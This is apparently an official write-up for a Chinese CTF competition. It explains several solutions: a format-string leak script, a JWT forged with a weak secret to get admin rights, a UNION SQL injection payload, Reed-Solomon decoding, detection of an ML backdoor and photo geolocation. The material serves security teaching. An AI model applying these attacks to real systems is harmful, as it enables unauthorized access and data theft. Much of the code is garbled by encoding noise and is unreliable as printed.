好靶场杯官方部分WP

admin 2026-07-26 04:59:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档为’好靶场杯’CTF竞赛官方部分WP,详细解析了多个赛题的解题思路,包括USB键盘流量分析、编码解码、PWN漏洞利用等,展示了从流量分析到漏洞利用的完整过程,并提供了具体工具和脚本示例。 综合评分: 85 文章分类: CTF,渗透测试,漏洞分析,实战经验,安全工具


image-20260724130922756

得到一半flag

flag{Y0u_g0t_c1mb4r

image-20260724131012120

另一个使用在线网站即可解码

关键字:小番茄图片混淆

image-20260724131124687

得到另一半flag

_and_gilbert}

image-20260724131205819

峡谷的秘密

image-20260724131629684

电刀特效是干扰项,看普攻拖影是有黑白煞气的。符合武则天的神器·明辉仪

image-20260724131500084

image-20260724131445306

算术的秘密

image-20260724132334853

看图算出最终水果值

image-20260724132940277

得到seed、nonce、enc

这题并没有给密钥流的具体构造,也没有提供一个可以验证密码对错的接口(其实接口被我删掉了,但不影响解题

看似要我们去解密enc,其实这题是黑盒PWN

image-20260724133024412

输入的%p显然被直接交给了printf

image-20260724135556590

第六个参数故意放了一个 nope,所以想靠 %6$s 一把梭是不行的。不过 %p 能正常工作,就说明栈上的内容仍然可以顺序泄露。

image-20260724135732251

输入长度可能有限制,我用了%2040%20个 |%p,后半段里出现了这些值

0x3831357b67616c66
0x6331623539616361
0x3561386138323435
0x3331663032656261
0x7d3565336332

image-20260724135834071

x86_64是小端序,把每个qword转成8字节后分别反转,然后Hex转ASCII

完整脚本如下:

import re
import socket

HOST%20= "hbc2.haobachang.com"
PORT%20= 19771

def recv_until(sock,%20marker):
 %20 %20data%20= b""
 %20  while marker not in data:
 %20 %20 %20 %20chunk%20=%20sock.recv(4096)
 %20 %20 %20  if not chunk:
 %20 %20 %20 %20 %20  break
 %20 %20 %20 %20data%20+=%20chunk
 %20  return data

with socket.create_connection((HOST,%20PORT),%20timeout=10) as s:
 %20 %20recv_until(s, b"final>%20")
 %20 %20s.sendall((("|%p" * 40)%20+ "\n").encode())

 %20 %20data%20= b""
 %20  while True:
 %20 %20 %20 %20chunk%20=%20s.recv(4096)
 %20 %20 %20  if not chunk:
 %20 %20 %20 %20 %20  break
 %20 %20 %20 %20data%20+=%20chunk

text%20=%20data.decode("latin1")
values%20=%20[]

for token in text.split("|")[1:]:
 %20 %20token%20=%20token.strip().split()[0] if token.strip() else ""
 %20  try:
 %20 %20 %20 %20values.append(int(token, 16) if token.startswith("0x") else 0)
 %20  except ValueError:
 %20 %20 %20 %20values.append(0)

stack%20= b"".join(x.to_bytes(8, "little") for x in values)
match%20=%20re.search(rb"flag\{[^}]+\}",%20stack)
print(match.group().decode())

image-20260724140342792

错音的秘密

image-20260724161946546

image-20260724162109531

Berlekamp-Welch%20线性化

令错误定位多项式为:

将它规范化为首一、次数正好为 t。再令:

对正确样本,y_i=f(x_i),所以 Q(x_i)=y_iE(x_i)。对错误样本,E(x_i)=0,等式两边仍然同时为零。因此所有%2084%20个样本都满足:

写成系数:

  • Q 的次数小于 k+t,有 k+t=56 个未知系数;
  • E 的最高次系数固定为%201,只剩 t=24 个未知系数;
  • 总共 k+2t=80 个未知数,84%20个样本给出%2084%20条线性方程。

对每个 (x_i,y_i),矩阵行是:

右侧为 y_i%20x_i^t。在模 p 下高斯消元即可得到 Q 和 E

还有一种看似简单的路线是随机挑%2032%20个样本做插值,希望它们全部正确。但当前%2084%20个样本中只有%2060%20个正确,单次成功概率为:

平均需要约%20150%20万次完整插值与验证,因此这不是合理的预期解;Berlekamp-Welch%20一次即可确定答案。

最后做精确多项式除法:

余数必须为零,恢复后的次数必须小于 k,并且重新计算全部样本时必须恰好出现%2024%20个不匹配点。这三个条件是防止误解线性系统输出的关键验证。

第一步计算json

import json
P%20=%20(1&nbsp;<<&nbsp;127)%20-&nbsp;1
K%20=&nbsp;32
T%20=&nbsp;24
N%20=&nbsp;84
MAX_INPUT%20=&nbsp;4096
samples%20=
[[159550636694452100947253841924124286928,133861603090919193339517107083386399369],[168885554321761597858686013542709712188,166750259888219540479128627019052736643],[145433520444028557361131157978575656342,93124663564808054479936945511918521843],[30072679745539066081292654922119948587,118323197892956763690425971981893723720],[92315023345897779228003992948508250107,85646451768843964382062926850650665750],[42661411977101973944400514719641263052,162339375280958947668005412615860536509],[51494553525833159387332784952681496467,12194197652149897259200358087546679849],[84002888276037373723276513403547724379,8298925115982366578159714470900513246],[141605333273896551911572669833046926356,105987683295743750331974552629939492968],[103027521274810445049960911189881382649,110981197526523550237983516357699512729],[155016449354527241951515598331723885890,126368131820401342906352340447166324468],[67099309985305924111694122066018105761,87971642896565786333605371858178386218],[134510693182778792059893124628427063741,120275758484099222950515435006894548870],[124239279003880518215751169228086971582,138775508378183221854241324096133035322],[86922188923480042279037798515510366752,169087890712810514580986598135117435148],[26407478010194060701663578303654894058,67603980766182287668106313434829437138],[17864700432998972867796970480180471100,121637200043883596054586076561655935299],[9930140370023749645499973309535052348,42403014527065313756231557240611911092],[124095779264187100167790444316840018809,6218697601343683661274878906880996585],[160141517718032545549347987709085394519,66837403731539137710225080555718789740],[141503711168481786559219344000419059169,141957044910612401396233809583565579894],[147303135981984732036416871653029319870,100687149477223560160149294027676540359],[63476620910478155557521847387229815534,6044409724482135694294921854379282692],[67235101929029261014577461849924304011,71848599894261819716933369021779375950],[9508554416658398081597546571783704324,98071907818319473664201022363870760330],[89086020638481751007920498846586485342,162474650090252081198810213264666918741],[16258312230460360835564336758949603884,125964829240480221176977469173825279568],[54498246493715212603409382442255471915,156281274663704367461297741720368279577],[103602949793312456951837144197621598451,126648234658143641588460613323309041707],[115114921141028049925616876016886380190,82881342365473950054538196275964125072],[72850396483004048365325435170289853019,77506246623082709139318038935555465045],[27469652562043998248258991908966529553,102476840498811262810892502292420921287],[27519161119398033603336292123139237035,108014171767811655185862723334556854658],[153181867459465879209262780975710270029,46074045172062105265244180714863221111],[106992838101990897596553657367177422617,147740012291568193137486661333088101297],[16042961407485961957208015039605786893,55690979925445827445953719131375829902],[22394188774324930210105288778362964559,115443537956162785705767113403358431717],[68814222008528708792394124370516025378,108664102318731701122361859888413078322],[77051672437882189138194317011856981189,62547789408502405299295337713947133519],[44086761980823934351175365678301488358,111930637371728991932390020176727488742],[166252290534533821254982109528515189185,16764926655935253009800478752620233969],[12097444803783651870660501133501901602,78266526722470981948600940897972167923],[130996788284502388145515151720110414379,111319728569270163547835655921646142003],[164011387515414761947998410640983911009,106617534491179069498051633888839447287],[30953042559102321943170917214634968219,28284305254514007967152610990552121754],[66874762421443405148020144982193891399,92195165356775875265932509748620036695],[126541339372116843101675166668753142424,16783193904176392829584469008523967677],[107883144598715232162879812978483409475,136142023109504267666315976501072758977],[11790463665469116777215811133940175522,33522778024765161428154885695964451482],[77430128178058169429819298764526720068,933223522568022277212949025091897431],[159455610685260039209124586337574724183,158544247868457034924916386490044743146],[93305540473767441919398587997722093831,16541691223635152281088797430509033591],[136389248870741188511667471423134488036,23560974202898807263198039185553002029],[132229383687602351761581497552422048836,32749126967960032573663442558961758935],[142873643680100019184605762415953343442,3048874337371107495448589025815340577],[96906683968436367689247694235124217917,107648760301871896581926344590791753251],[158922637110939011815214301008526060964,90267536831271539093924294572732404769],[52525404044522971716336584152995208230,142966166294917666806955255265904109190],[57769766688678839722146232600632031766,91537160884108634433610121248052208680],[24973377379972989636322165415129483414,18365109728124608476176892544681974731],[127867562544096541505452449154902955405,69855946342495542285603276725181845401],[53356150344828199791521039907327783167,131792244098107950348893829687039125884],[113175736260074970292582414590399579577,153528089850040107882336108136546948810],[129115364640422285255150163349003284138,154444318114997677354639558211933718329],[92280355228215504004976882107175211031,140472821371739198756085555616678211051],[10874313785167139915294074156893912155,786460626507815288441994754551766270],[125585821286651859212174842447331235319,153643585597522915485562625270386916141],[52492605784132381263696175495294949030,30099693348157211693250031718528180281],[146441092531809539630564366814116805642,154120242149374995376719726735506489570],[12706842049350380916998314460957605540,26950188774295899501458345375622123321],[127272073109905878029615227409951313121,46821555723318406360935839167558755195],[168299877424772633668929077720514425709,131710391270034567902208095795026567369],[36724693772081237288891072609275132062,110147649683433806887710984494087049133],[3044776326166877975491063944486152378,15469071785181483563039278076922218949],[70586661101760612046814678030190213845,137725848067617726868140975013980185590],[78757609062532550093204397898684867369,17472520403107894596634651228124869298],[83509013314295151199418426384462592269,74069059366396346292177023938877816773],[72720789559912604025976425074587678028,23755836583957813362345325139425499990],[42214791844124889004244809136572328590,48143315996234147210798319386447966632],[167247299534138439500406158052939261729,101597182491815852054857276264544781150],[44765235530188244758737351624671883593,117960271901300456785126844433304965832],[45596813510554182874821471289877356305,105088815367902248258691898771383533473],[24755646527964738410469407294837860894,58918026448615416173813738781365651382],[126036348616531618028126127865112358523,30345327133639267306550172600821925160]]
mat%20=%20[]
for&nbsp;x,%20y&nbsp;in&nbsp;samples:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;xs%20=%20[1]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1,%20K%20+%20T):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20xs.append(xs[-1]%20*%20x%20%%20P)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;row%20=%20[]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;row%20+=%20xs[:K%20+%20T]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;row%20+=%20[(-y%20*%20xs[i])%20%%20P&nbsp;for&nbsp;i&nbsp;in&nbsp;range(T)]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;row%20+=%20[y%20*%20xs[T]%20%%20P]
&nbsp;%20&nbsp;%20&nbsp;%20mat.append(row)
col%20=&nbsp;0
pos%20=%20[]
for&nbsp;i&nbsp;in&nbsp;range(len(mat)):
&nbsp;%20&nbsp;%20&nbsp;&nbsp;while&nbsp;col%20<%20K%20+&nbsp;2&nbsp;*%20T:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20pivot%20=%20i
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;while&nbsp;pivot%20<%20len(mat)&nbsp;and&nbsp;mat[pivot][col]%20==&nbsp;0:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20pivot%20+=&nbsp;1
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;if&nbsp;pivot%20<%20len(mat):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20col%20+=&nbsp;1
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;if&nbsp;col%20==%20K%20+&nbsp;2&nbsp;*%20T:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;break
&nbsp;%20&nbsp;%20&nbsp;%20mat[i],%20mat[pivot]%20=%20mat[pivot],%20mat[i]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;inv%20=%20pow(mat[i][col],%20P%20-&nbsp;2,%20P)
&nbsp;%20&nbsp;%20&nbsp;%20mat[i]%20=%20[j%20*%20inv%20%%20P&nbsp;for&nbsp;j&nbsp;in&nbsp;mat[i]]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;for&nbsp;j&nbsp;in&nbsp;range(len(mat)):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;if&nbsp;i%20!=%20j&nbsp;and&nbsp;mat[j][col]:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;factor%20=%20mat[j][col]
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20mat[j]%20=%20[(mat[j][l]%20-%20factor%20*%20mat[i][l])%20%%20P&nbsp;for&nbsp;l&nbsp;in&nbsp;range(K%20+&nbsp;2&nbsp;*%20T%20+&nbsp;1)]
&nbsp;%20&nbsp;%20&nbsp;%20pos.append(col)
&nbsp;%20&nbsp;%20&nbsp;%20col%20+=&nbsp;1
ans%20=%20[0]%20*%20(K%20+&nbsp;2&nbsp;*%20T)
for&nbsp;i,%20j&nbsp;in&nbsp;enumerate(pos):
&nbsp;%20&nbsp;%20&nbsp;%20ans[j]%20=%20mat[i][-1]
q%20=%20ans[:K%20+%20T]
e%20=%20ans[K%20+%20T:]%20+%20[1]
while&nbsp;len(q)%20>&nbsp;1&nbsp;and&nbsp;q[-1]%20==&nbsp;0:
&nbsp;%20&nbsp;%20&nbsp;%20q.pop()
while&nbsp;len(e)%20>&nbsp;1&nbsp;and&nbsp;e[-1]%20==&nbsp;0:
&nbsp;%20&nbsp;%20&nbsp;%20e.pop()
f%20=%20[0]%20*%20(len(q)%20-%20len(e)%20+&nbsp;1)
while&nbsp;len(q)%20>=%20len(e):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;tmp%20=%20q[-1]%20*%20pow(e[-1],%20P%20-&nbsp;2,%20P)%20%%20P
&nbsp;%20&nbsp;%20&nbsp;%20off%20=%20len(q)%20-%20len(e)
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;f[off]%20=%20tmp
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(e)):
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20q[off%20+%20i]%20=%20(q[off%20+%20i]%20-%20tmp%20*%20e[i])%20%%20P
&nbsp;%20&nbsp;%20&nbsp;&nbsp;while&nbsp;len(q)%20>&nbsp;1&nbsp;and&nbsp;q[-1]%20==&nbsp;0:
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20q.pop()
f%20+=%20[0]%20*%20(K%20-%20len(f))
f%20=%20f[:K]
print(json.dumps(f,%20separators=(",",&nbsp;":")))

image-20260724161706197

得到key和ct%20带入脚本

import&nbsp;hashlib
P%20=%20(1&nbsp;<<&nbsp;127)%20-&nbsp;1
K%20=&nbsp;32
DOMAIN_KDF%20=&nbsp;b"off-key/kdf/v1|"
DOMAIN_STREAM%20=&nbsp;b"off-key/stream/v1|"
coeffs%20=
[105544490236960105057788816471894812320,68609240463057223192128587730667108857,4716978984973229415465838140269198928,123186957876356550066666665935649403956,54977531369894732717292209519189305645,31871973745711102536460922482857929421,166961651088425633324390725421570329595,123835803959439891336371885349143060941,106122538728259020821275609224265097376,107215554542598772919628152127363793899,164527885516177747767244050020881639627,57592773312846544949757562740119617602,90554392561598945601577691893196618264,136830076389328391901755341916455669076,36869628125871331811409728042919570199,161481448331051620966610215467438711744,80431052684241535111026055416744072941,113110030625254589717250118055533563372,15878603274565297538383789606507886633,3822617077407111745759127629400128005,9549590482397365126979739637850786468,137471715551781934125592875411381701183,149059290413097147364797560843203757571,6787469231434630361416410832483900184,53718930577193817846251611711270806813,145066315763421323877225998209097787395,156907949212801767132869057183198368962,164479000733437797833555128747495599759,33824115026802600495848683345393070228,45786651963059616634677353756624641869,23341211317475596450937411338563079888,30460338812576416845111635960081063304]
key_tag%20=&nbsp;"f40a135e9089dde0033df57122cd1cda"
ct%20=
"553eee8e601c73a9d9e394cf9c53fb15d28a219e3ccf7ee3fa086cf67fdcfd0ee307abf71d0
c"
raw%20=&nbsp;b"".join(i.to_bytes((P.bit_length()%20+&nbsp;7)%20//&nbsp;8,&nbsp;"big")&nbsp;for&nbsp;i&nbsp;in&nbsp;coeffs)
key%20=%20hashlib.sha256(DOMAIN_KDF%20+%20raw%20+&nbsp;b"|"&nbsp;+%20key_tag.encode()).digest()
cipher%20=%20bytes.fromhex(ct)
pad%20=&nbsp;b""
cnt%20=&nbsp;0
while&nbsp;len(pad)%20<%20len(cipher):
pad%20+=%20hashlib.sha256(DOMAIN_STREAM%20+%20key%20+%20cnt.to_bytes(4,&nbsp;"big")).digest()
cnt%20+=&nbsp;1
flag%20=%20bytes(cipher[i]%20^%20pad[i]&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(cipher)))
print(flag.decode())

image-20260724161808216

合唱的秘密

image-20260724162001266

题目脚本文件已经给提示,解密flag需要获得哪些东西。

family%20后门类型

target%20目标类别

answer%20后门样本md5

image-20260724160712815

oracle.py把模型怎么处理图片写得很清楚。图片先转成亮度图,压成12×12,这一块有144个数,用来看图形大概长什么样。后面又单独算了24个颜色纹理的数据。两块拼起来一共168个数,再经过16个中间通道,最后输出6个类别。

image-20260724154516099

这个模型不大,只有16个通道,直接挨个对比权重。这里能找到一些很奇怪的成对通道:两边接收的内容完全一样,偏移也一样,但是最后往外输出的值刚好一正一负。这样不管输入什么图,这两个通道加起来永远都是0,等于白放在模型里。

我写了两层循环,把这种成对抵消的通道全部找出来。

image-20260724154935507

跑完之后一共找到了7对,16个通道里只剩下5和8还真的会影响结果

image-20260724155034595

接着看这两个通道分别在吃什么数据。通道5的图形部分权重是0,纹理部分是1;通道8正好反过来,只看图形,不看纹理。题目藏的是不容易看见的图片后门,所以通道5明显更像真的,通道8是烟雾弹。

再看通道5最后把哪个类别的分数抬得最高,结果是4。模型里的第4类名字是“菱形”,所以到这里目标已经确定了。

image-20260724155308487

image-20260724155344826

照抄oracle.py里的算法,把960张图的纹理重新算了一遍。已经知道目标是4,所以后面只看清单里标签为%204%20的%20160张图,不用再管其他类别。

真正被动过的图应该带着差不多同一个纹理方向。我先从这160张里拿纹理比较强的前32张,再用SVD找它们最一致的方向。简单说就是把大家共同带着的那层纹理拎出来。SVD得到的方向可能会正反颠倒,所以再和模型通道5的方向对一下,反了就乘个-1

image-20260724155642700

image-20260724155611917

有了这个方向以后,每张图都能算出一个分数。分数越高,说明它越贴近模型真正认的那层纹理。我把目标类的图片按分数从高到低排,然后看相邻两个分数之间哪里突然断开,不先猜到底有几张。

代码跑出来以后,第12张是10.5110,第13张一下掉到0.3794,中间差了10.1316。这个断层特别明显,所以前12张就是要找的图片。

image-20260724155826294

image-20260724155922262

最后还需要得到后门类型。我把刚才找到的纹理方向还原回48×48的图片,再看它的频率分布。最强的32个位置占了总量的77%,能量明显集中在少数频率上,不像角落贴块,也不像整张图透明叠一层,更不是把图形拉歪,所以这里直接判断为frequency

脚本最后选出的12张图如下,分数全在10以上,后面的正常图直接掉到了0点几,区分很干净。

image-20260724160202968

对应的MD5是:

006ed7de31ab2ad6e408f67b4fd3f364
2877271292f04a40b0ac46fbadd34598
3ee532999ff9e383c8327596baa7f44c
3f72dc9e787caaff3b35245e5bedffb4
41d95598730a754c7224cb2fc9f43c62
75af62e52fb8a44390a155e7d0ff91c0
80a3b2151624dc973319f2f59b0a2a37
9944f682e3037fb660c088d27f78057d
d0942bfa683c64fde6c958813ac368f9
da436302fb496ff00e5930e819b9a36d
ddc390313a9cf2b3e41476f2716805b5
fa9ebfb7bea08574d45a87109150d598

image-20260724160556318

艾姆的秘密

image-20260724140730939

添加jpg后缀

image-20260724141005548

image-20260724141336887

互联网搜索关键词1-2号检票口%20南区,都指向上海松江这个车站

image-20260724141511403

image-20260724142146659

高德地图搜索,查看相关地点的图片,麦当劳(上海松江站店)介绍封面就已经知道了答案结果。

image-20260724143542889

提交松礼路并不对,很有可能是地图信息更新导致,尝试提交附近的其他路名。

答案就是上海市松江站松礼路

image-20260724143856570

绮谶的秘密

image-20260724151503387

查看EXIF信息存在提示:XX大道附近

image-20260724144119892

注意到右下角,暴露了车牌省份。鄂为湖北

image-20260724144407046

抖音搜索湖北七彩祥云,视频文案都指向武汉

image-20260724144446957

通过抖音发现,多数实拍都是在光谷附近。洪山区、江夏区、武昌区都有定位。

image-20260724145115713

观察图中建筑,这条路附近全是厂房,远处是居民楼(高楼)

image-20260724145019239

得到这么多线索,接下来只能慢慢在地图上通过街景视图去寻找。

最终锁定在武昌大道附近的三合街

image-20260724150213327

image-20260724150240109

edusrc

image-20260724151311489

先访问统一认证登录页。页面包含扫码登录和账号登录两个入口,账号登录区提示“新生初始密码为学号后六位”。

登录页

另外顺手验收了一下“重置密码”按钮。它触发的是页面内弹窗,不是浏览器原生 alert,弹窗文案为“请联系老师更改密码!”。

重置密码弹窗

查看页面加载的启动脚本:

/static/js/login.bootstrap.js

可以看到里面泄露了测试学号:

const&nbsp;test=202410231;

window.__LOGIN_BOOTSTRAP__%20=%20{
&nbsp;&nbsp;system:&nbsp;"yunsee%20Academic%20Portal",
&nbsp;&nbsp;version:&nbsp;"2024.10",
&nbsp;&nbsp;loginMode:&nbsp;"student",
&nbsp;&nbsp;test:%20test
};

启动脚本泄露测试学号

结合登录页提示,初始密码为学号后六位:

学号:202410231
密码:410231

切换到账号登录,输入学号、初始密码和页面验证码。

填写登录表单

登录成功后进入学生门户,可以看到学生姓名、学号、学院、专业等信息。

学生门户登录成功

此时身份仍然是学生,直接访问后台会被拒绝。浏览器实测中,学生登录态访问 /admin 返回 403%20Forbidden

学生身份访问后台被拒绝

这个结果说明后台入口不是单纯前端路由隐藏,服务端页面入口也做了身份检查。

登录成功后,响应中会返回%20JWT。解码%20payload%20后可以看到身份字段:

{
&nbsp;&nbsp;"sub":&nbsp;"202410231",
&nbsp;&nbsp;"stu_id":&nbsp;"202410231",
&nbsp;&nbsp;"name":&nbsp;"江思澄",
&nbsp;&nbsp;"role":&nbsp;"student",
&nbsp;&nbsp;"iat":&nbsp;1781660000,
&nbsp;&nbsp;"exp":&nbsp;1781667200
}

尝试常见弱密钥,可以发现%20JWT%20使用的签名密钥为:

yunsee

将%20payload%20中的 role 从 student 改为 admin,再用 yunsee 重新签名即可伪造管理员%20token。

import&nbsp;base64
import&nbsp;hashlib
import&nbsp;hmac
import&nbsp;json

TOKEN%20=&nbsp;"..."
SECRET%20=&nbsp;b"yunsee"

def&nbsp;b64url_decode(data):
&nbsp;%20&nbsp;%20data%20+=&nbsp;"="&nbsp;*%20(-len(data)%20%&nbsp;4)
&nbsp;%20&nbsp;&nbsp;return&nbsp;base64.urlsafe_b64decode(data.encode())

def&nbsp;b64url_encode(data):
&nbsp;%20&nbsp;&nbsp;return&nbsp;base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header_b64,%20payload_b64,%20_%20=%20TOKEN.split(".")
header%20=%20json.loads(b64url_decode(header_b64))
payload%20=%20json.loads(b64url_decode(payload_b64))

payload["role"]%20=&nbsp;"admin"

new_header%20=%20b64url_encode(json.dumps(header,%20separators=(",",&nbsp;":")).encode())
new_payload%20=%20b64url_encode(json.dumps(payload,%20separators=(",",&nbsp;":")).encode())
signing_input%20=&nbsp;f"{new_header}.{new_payload}".encode()
signature%20=%20hmac.new(SECRET,%20signing_input,%20hashlib.sha256).digest()

print(f"{new_header}.{new_payload}.{b64url_encode(signature)}")

把伪造后的管理员%20token%20用到后台后,可以进入教务管理后台。

伪造管理员进入后台

进入后台后,运行总览 中有一条提示:

校内资源库正在进行资料迁移复核,搜索接口保留旧版查询链路。

切换到“校内资源库”,页面提供资源列表和搜索接口两个模式。

校内资源库

普通资源列表接口使用正常查询,预期注入点在搜索接口:

GET%20/api/admin/resources/search?keyword=

返回表格有%207%20列:

id
title
category
owner_department
visibility
download_count
updated_at

所以 UNION%20SELECT 也需要补齐%207%20列。

查询语句中关键词被拼进 LIKE%20'%...%',并且外层还有一组括号。因此%20payload%20需要闭合字符串和括号:

%'%20AND%201=2)%20UNION%20SELECT%20...%20--%20-

最终%20payload:

%'%20AND%201=2)%20UNION%20SELECT%201,flag,config_key,config_value,'全校可见',0,created_at%20FROM%20sys_audit_config%20--%20-

在浏览器后台中选择“搜索接口”,填入%20payload。

填入%20SQL%20注入%20payload

点击搜索后,flag%20出现在资源标题位置。

搜索结果读取%20flag

Operation%20Skyfall

image-20260724151256513

该题极具趣味与挑战性,由于是0解,暂不公开WP。

强调:此题是可解的。

解题思路:无人机飞行控制界面获取泄露密钥%20->%20通过nc%20连接后端管理程序%20->%20解密无人机流量%20->%20分析流量特征%20->%20伪造流量并用已有密钥加密流量(伪造流量)%20->%20导入伪造流量%20->%20无人机宕机落地(获得flag)

流量协议在描述中有提到是:基于%20802.11%20WPA2

image-20260724163912835

image-20260724163958305

AI赛道 NPU

image-20260724163446996

第%201%20步 先认清这是个什么文件%20→%20决定怎么拆它

xxd 看头部:

00000000:%204e50%205544%20554d%205000%200100%200100%201f01%200000%20&nbsp;NPUDUMP.........
00000010:%207b22%206d61%206769%206322%203a20%20224e%205055%204455%20&nbsp;{"magic":&nbsp;"NPUDU
  • 前%208%20字节是魔数 NPUDUMP\0,第%209~10%20字节 01%2000 像个版本号(=1)。
  • 紧接着 1f%2001%2000%2000(小端%20=%200x011f%20=%20287),再后面就是 {"magic"... 一段%20287%20字节的%20JSON。

类型%20+%20长度%20+%20值 的味道很浓。先假设格式是 Type(u16)%20+%20Length(u32)%20+%20Value,能不能严丝合缝走到文件末尾就是检验。 写个循环从偏移%2010%20开始走:

off=10
while&nbsp;off<len(d):
&nbsp;%20&nbsp;%20t,l=struct.unpack_from('<HI',d,off);%20off+=6+l
0x0000a&nbsp;type=0x0001%20len=287%20&nbsp;%20&nbsp;{"magic":&nbsp;"N...
0x0012f%20type=0x0010%20len=16390%20&nbsp;\x00\x01@\x00\x00\x01...
0x0413b%20type=0x0010%20len=1030%20&nbsp;%20\x01\x01\x10\x00@\x00...
0x04547%20type=0x0020%20len=1460%20&nbsp;%20{"zero_point...
0x04b01&nbsp;type=0x0030%20len=264%20&nbsp;%20&nbsp;\x00\x01\x00\x00...
0x04c0f&nbsp;type=0x0040%20len=32%20&nbsp;%20&nbsp;%20(二进制)
0x04c35&nbsp;type=0x00f0%20len=16403%20&nbsp;\x0eoutput_deco...
0x08c4e&nbsp;type=0x00b0%20len=30%20&nbsp;%20&nbsp;%20\rlayer2_outp...
0x08c72&nbsp;type=0x00b0%20len=24%20&nbsp;%20&nbsp;%20\x07boot_iv...
0x08c90&nbsp;type=0x00b0%20len=30%20&nbsp;%20&nbsp;%20\raes_round_k...
0x08cb4&nbsp;type=0x00e0%20len=951%20&nbsp;%20&nbsp;\x89PNG\r\n\x1a\n...
0x09071&nbsp;type=0x00ff%20len=4%20&nbsp;%20&nbsp;%20&nbsp;(4%20字节)
→%20正好走到文件末尾

走到%20EOF、零字节残留%20→%20格式假设正确。 这一步不需要任何文档,靠的是”格式自洽性”自证。

第%202%20步 给记录分类,确定”要解什么、缺什么”

逐条看%20Value%20的特征:

|%20记录%20|%20内容判断%20|%20依据%20| |%20—%20|%20—%20|%20—%20| |%200x0001%20|%20metadata%20JSON%20|%20明文 {"magic"...}%20| |%200x0010%20×2%20|%20权重张量%20|%20len=16390=6+64×256%20、len=1030=6+16×64;头%206%20字节恰好是 li,tid,OC,IC%20| |%200x0020%20|%20量化参数%20JSON%20|%20明文 {"zero_point"...}%20| |%200x0030%20|%20输入%20|%20len=264=4+256+4%20:in_dim(u32)+256字节+4字节校验%20| |%200x0040%20|%2032%20字节二进制%20|%20长度是%2016%20的整数倍,高熵%20→%20像分组密文%20| |%200x00f0%20|%20带名字的张量%20|%20\x0e%20+output_decoded,后面还有%20rows/cols%20| |%200x00b0%20×3%20|%20带名字的小%20blob%20|%20layer2_output%20/boot_iv/aes_round_key,各%2016%20字节%20| |%200x00e0%20|%20PNG%20|%20\x89PNG%20| |%200x00ff%20|%204%20字节%20|%20放在最后%20→%20CRC32%20校验%20|

两段%20JSON%20直接把网络结构和量化参数白送了(无需文档):

//%200x0001
"layers":[{"out":64,"in":256,"act":"clamped_relu","act_min":0,"act_max":100,"tiling_id":1},
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20{"out":16,"in":64,&nbsp;"act":"int8_saturate","act_min":-128,"act_max":127,"tiling_id":1}]
//%200x0020
"zero_point_x":[5,0],&nbsp;"zero_point_out":[0,0],
"layers":[{"M0":[1568023701,2123510929,...](64个),"shift":[-10,-11,...]},%20{…16个…}]

于是目标清晰:要解的是 0x0040 那段 32%20字节密文(看长度像%20AES)。解分组密文要 密钥%20+%20IV,但容器里没有任何现成的、可信的%20key/IV%20字段。缺口%20=%20key%20和%20IV,得自己想办法弄到。 先去翻翻还有什么没用的线索。

第%203%20步 两个”白捡”的线索:PNG%20提示%20+%20一堆诱饵

记录里有个 0x00e0 是%20PNG,明显不属于数据流,先%20carve%20出来看:

i=d.find(b'\x89PNG\r\n\x1a\n');%20end=d.find(b'IEND',i)+8
open('qr.png','wb').write(d[i:end])

carve 出的二维码

是二维码,扫出来一句提示:

设备开机时会显示一帧诊断 logo,但 dump 里没有单独的 framebuffer

这句话把我第 1 步的”缺口”指了一半方向:有一张 logo,但它不是现成像素(没有 framebuffer),要从别的数据里重建。logo 上很可能就写着我缺的 IV。把”某块数据其实是张图”这个判断记下。

至于 0x00f0(output_decoded) 和 0x00b0(layer2_output/boot_iv/aes_round_key)——名字一个比一个像答案。但越像越可疑:它们要么是现成 blob(跳过了”重建/推理”),要么干净得不像被加密过。先存疑,等会儿逐个证伪。


第 4 步 哪块数据是图?用”可读性”反推出排布

